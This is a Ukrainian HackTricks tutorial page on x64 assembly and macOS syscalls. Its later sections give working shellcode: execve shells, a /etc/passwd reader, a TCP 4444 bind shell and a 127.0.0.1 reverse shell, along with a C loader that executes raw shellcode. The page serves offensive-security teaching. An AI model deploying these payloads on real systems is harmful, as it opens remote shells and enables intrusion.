# Вступ до x64 {{#include ../../../banners/hacktricks-training.md}} ## **Вступ до x64** x64, також відомий як x86-64, є 64-бітною архітектурою процесора, що переважно використовується в настільних і серверних обчисленнях. Виникнувши з архітектури x86, виробленої Intel, і пізніше прийнятої AMD під назвою AMD64, це поширена архітектура в персональних комп'ютерах і серверах сьогодні. ### **Реєстри** x64 розширює архітектуру x86, маючи **16 загальних реєстрів**, позначених `rax`, `rbx`, `rcx`, `rdx`, `rbp`, `rsp`, `rsi`, `rdi`, а також `r8` до `r15`. Кожен з цих реєстрів може зберігати **64-бітне** (8-байтове) значення. Ці реєстри також мають 32-бітні, 16-бітні та 8-бітні підреєстри для сумісності та специфічних завдань. 1. **`rax`** - Традиційно використовується для **значень повернення** з функцій. 2. **`rbx`** - Часто використовується як **базовий реєстр** для операцій з пам'яттю. 3. **`rcx`** - Зазвичай використовується для **лічильників циклів**. 4. **`rdx`** - Використовується в різних ролях, включаючи розширені арифметичні операції. 5. **`rbp`** - **Базовий вказівник** для стекового фрейму. 6. **`rsp`** - **Вказівник стеку**, що відстежує верхню частину стеку. 7. **`rsi`** та **`rdi`** - Використовуються для **індексів джерела** та **призначення** в операціях зі строками/пам'яттю. 8. **`r8`** до **`r15`** - Додаткові загальні реєстри, введені в x64. ### **Конвенція виклику** Конвенція виклику x64 варіюється між операційними системами. Наприклад: - **Windows**: Перші **чотири параметри** передаються в реєстрах **`rcx`**, **`rdx`**, **`r8`** та **`r9`**. Подальші параметри поміщаються в стек. Значення повернення знаходиться в **`rax`**. - **System V (зазвичай використовується в UNIX-подібних системах)**: Перші **шість цілочисельних або вказівникових параметрів** передаються в реєстрах **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`** та **`r9`**. Значення повернення також знаходиться в **`rax`**. Якщо функція має більше ніж шість вхідних параметрів, **інші передаються через стек**. **RSP**, вказівник стеку, повинен бути **вирівняний на 16 байт**, що означає, що адреса, на яку він вказує, повинна ділитися на 16 перед будь-яким викликом. Це означає, що зазвичай нам потрібно забезпечити правильне вирівнювання RSP у нашому shellcode перед викликом функції. Однак на практиці системні виклики працюють багато разів, навіть якщо ця вимога не виконується. ### Конвенція виклику в Swift Swift має свою власну **конвенцію виклику**, яку можна знайти в [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64) ### **Загальні інструкції** Інструкції x64 мають багатий набір, зберігаючи сумісність з попередніми інструкціями x86 і вводячи нові. - **`mov`**: **Перемістити** значення з одного **реєстру** або **місця в пам'яті** в інше. - Приклад: `mov rax, rbx` — Переміщує значення з `rbx` в `rax`. - **`push`** і **`pop`**: Помістити або витягти значення з **стеку**. - Приклад: `push rax` — Поміщає значення в `rax` на стек. - Приклад: `pop rax` — Витягує верхнє значення зі стеку в `rax`. - **`add`** і **`sub`**: Операції **додавання** та **віднімання**. - Приклад: `add rax, rcx` — Додає значення в `rax` і `rcx`, зберігаючи результат в `rax`. - **`mul`** і **`div`**: Операції **множення** та **ділення**. Примітка: ці інструкції мають специфічну поведінку щодо використання операндів. - **`call`** і **`ret`**: Використовуються для **виклику** та **повернення з функцій**. - **`int`**: Використовується для виклику програмного **переривання**. Наприклад, `int 0x80` використовувався для системних викликів у 32-бітному x86 Linux. - **`cmp`**: **Порівняти** два значення та встановити прапори ЦП на основі результату. - Приклад: `cmp rax, rdx` — Порівнює `rax` з `rdx`. - **`je`, `jne`, `jl`, `jge`, ...**: **Умовні стрибки**, які змінюють потік управління на основі результатів попереднього `cmp` або тесту. - Приклад: Після інструкції `cmp rax, rdx`, `je label` — Стрибає до `label`, якщо `rax` дорівнює `rdx`. - **`syscall`**: Використовується для **системних викликів** в деяких системах x64 (наприклад, в сучасних Unix). - **`sysenter`**: Оптимізована інструкція **системного виклику** на деяких платформах. ### **Прокол функції** 1. **Помістіть старий базовий вказівник**: `push rbp` (зберігає базовий вказівник виклику) 2. **Перемістіть поточний вказівник стеку до базового вказівника**: `mov rbp, rsp` (налаштовує новий базовий вказівник для поточної функції) 3. **Виділіть місце в стеку для локальних змінних**: `sub rsp, ` (де `` — це кількість байтів, що потрібні) ### **Епілог функції** 1. **Перемістіть поточний базовий вказівник до вказівника стеку**: `mov rsp, rbp` (деалокація локальних змінних) 2. **Витягніть старий базовий вказівник зі стеку**: `pop rbp` (відновлює базовий вказівник виклику) 3. **Повернення**: `ret` (повертає управління виклику) ## macOS ### syscalls Існують різні класи системних викликів, ви можете [**знайти їх тут**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall_sw.h)**:** ```c #define SYSCALL_CLASS_NONE 0 /* Invalid */ #define SYSCALL_CLASS_MACH 1 /* Mach */ #define SYSCALL_CLASS_UNIX 2 /* Unix/BSD */ #define SYSCALL_CLASS_MDEP 3 /* Machine-dependent */ #define SYSCALL_CLASS_DIAG 4 /* Diagnostics */ #define SYSCALL_CLASS_IPC 5 /* Mach IPC */ ``` Тоді ви можете знайти кожен номер системного виклику [**в цьому URL**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)**:** ```c 0 AUE_NULL ALL { int nosys(void); } { indirect syscall } 1 AUE_EXIT ALL { void exit(int rval); } 2 AUE_FORK ALL { int fork(void); } 3 AUE_NULL ALL { user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); } 4 AUE_NULL ALL { user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); } 5 AUE_OPEN_RWTC ALL { int open(user_addr_t path, int flags, int mode); } 6 AUE_CLOSE ALL { int close(int fd); } 7 AUE_WAIT4 ALL { int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); } 8 AUE_NULL ALL { int nosys(void); } { old creat } 9 AUE_LINK ALL { int link(user_addr_t path, user_addr_t link); } 10 AUE_UNLINK ALL { int unlink(user_addr_t path); } 11 AUE_NULL ALL { int nosys(void); } { old execv } 12 AUE_CHDIR ALL { int chdir(user_addr_t path); } [...] ``` Отже, щоб викликати системний виклик `open` (**5**) з **Unix/BSD класу**, вам потрібно додати: `0x2000000` Отже, номер системного виклику для виклику open буде `0x2000005` ### Shellcodes Щоб скомпілювати: ```bash nasm -f macho64 shell.asm -o shell.o ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib ``` Щоб витягти байти: ```bash # Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do echo -n '\\x'$c done # Another option otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g' ```
C код для тестування shellcode ```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include int (*sc)(); char shellcode[] = ""; int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode)); void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0); if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr); void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst); int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ); if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status); printf("[>] Trying to execute shellcode...\n"); sc = ptr; sc(); return 0; } ```
#### Shell Взято з [**тут**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) та пояснено. {{#tabs}} {{#tab name="з adr"}} ```armasm bits 64 global _main _main: call r_cmd64 db '/bin/zsh', 0 r_cmd64: ; the call placed a pointer to db (argv[2]) pop rdi ; arg1 from the stack placed by the call to l_cmd64 xor rdx, rdx ; store null arg3 push 59 ; put 59 on the stack (execve syscall) pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes) syscall ``` {{#endtab}} {{#tab name="з стеком"}} ```armasm bits 64 global _main _main: xor rdx, rdx ; zero our RDX push rdx ; push NULL string terminator mov rbx, '/bin/zsh' ; move the path into RBX push rbx ; push the path, to the stack mov rdi, rsp ; store the stack pointer in RDI (arg1) push 59 ; put 59 on the stack (execve syscall) pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes) syscall ``` {{#endtab}} {{#endtabs}} #### Читати за допомогою cat Мета полягає в виконанні `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, тому другий аргумент (x1) є масивом параметрів (які в пам'яті означають стек адрес). ```armasm bits 64 section .text global _main _main: ; Prepare the arguments for the execve syscall sub rsp, 40 ; Allocate space on the stack similar to `sub sp, sp, #48` lea rdi, [rel cat_path] ; rdi will hold the address of "/bin/cat" lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd" ; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"] push rsi ; Add "/etc/passwd" to the stack (arg0) push rdi ; Add "/bin/cat" to the stack (arg1) ; Set in the 2nd argument of exec the addr of the array mov rsi, rsp ; argv=rsp - store RSP's value in RSI xor rdx, rdx ; Clear rdx to hold NULL (no environment variables) push 59 ; put 59 on the stack (execve syscall) pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes) syscall ; Make the syscall section .data cat_path: db "/bin/cat", 0 passwd_path: db "/etc/passwd", 0 ``` #### Виклик команди з sh ```armasm bits 64 section .text global _main _main: ; Prepare the arguments for the execve syscall sub rsp, 32 ; Create space on the stack ; Argument array lea rdi, [rel touch_command] push rdi ; push &"touch /tmp/lalala" lea rdi, [rel sh_c_option] push rdi ; push &"-c" lea rdi, [rel sh_path] push rdi ; push &"/bin/sh" ; execve syscall mov rsi, rsp ; rsi = pointer to argument array xor rdx, rdx ; rdx = NULL (no env variables) push 59 ; put 59 on the stack (execve syscall) pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes) syscall _exit: xor rdi, rdi ; Exit status code 0 push 1 ; put 1 on the stack (exit syscall) pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes) syscall section .data sh_path: db "/bin/sh", 0 sh_c_option: db "-c", 0 touch_command: db "touch /tmp/lalala", 0 ``` #### Bind shell Bind shell з [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) на **порт 4444** ```armasm section .text global _main _main: ; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP) xor rdi, rdi mul rdi mov dil, 0x2 xor rsi, rsi mov sil, 0x1 mov al, 0x2 ror rax, 0x28 mov r8, rax mov al, 0x61 syscall ; struct sockaddr_in { ; __uint8_t sin_len; ; sa_family_t sin_family; ; in_port_t sin_port; ; struct in_addr sin_addr; ; char sin_zero[8]; ; }; mov rsi, 0xffffffffa3eefdf0 neg rsi push rsi push rsp pop rsi ; bind(host_sockid, &sockaddr, 16) mov rdi, rax xor dl, 0x10 mov rax, r8 mov al, 0x68 syscall ; listen(host_sockid, 2) xor rsi, rsi mov sil, 0x2 mov rax, r8 mov al, 0x6a syscall ; accept(host_sockid, 0, 0) xor rsi, rsi xor rdx, rdx mov rax, r8 mov al, 0x1e syscall mov rdi, rax mov sil, 0x3 dup2: ; dup2(client_sockid, 2) ; -> dup2(client_sockid, 1) ; -> dup2(client_sockid, 0) mov rax, r8 mov al, 0x5a sub sil, 1 syscall test rsi, rsi jne dup2 ; execve("//bin/sh", 0, 0) push rsi mov rdi, 0x68732f6e69622f2f push rdi push rsp pop rdi mov rax, r8 mov al, 0x3b syscall ``` #### Зворотний шелл Зворотний шелл з [https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html). Зворотний шелл до **127.0.0.1:4444** ```armasm section .text global _main _main: ; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP) xor rdi, rdi mul rdi mov dil, 0x2 xor rsi, rsi mov sil, 0x1 mov al, 0x2 ror rax, 0x28 mov r8, rax mov al, 0x61 syscall ; struct sockaddr_in { ; __uint8_t sin_len; ; sa_family_t sin_family; ; in_port_t sin_port; ; struct in_addr sin_addr; ; char sin_zero[8]; ; }; mov rsi, 0xfeffff80a3eefdf0 neg rsi push rsi push rsp pop rsi ; connect(sockid, &sockaddr, 16) mov rdi, rax xor dl, 0x10 mov rax, r8 mov al, 0x62 syscall xor rsi, rsi mov sil, 0x3 dup2: ; dup2(sockid, 2) ; -> dup2(sockid, 1) ; -> dup2(sockid, 0) mov rax, r8 mov al, 0x5a sub sil, 1 syscall test rsi, rsi jne dup2 ; execve("//bin/sh", 0, 0) push rsi mov rdi, 0x68732f6e69622f2f push rdi push rsp pop rdi xor rdx, rdx mov rax, r8 mov al, 0x3b syscall ``` {{#include ../../../banners/hacktricks-training.md}}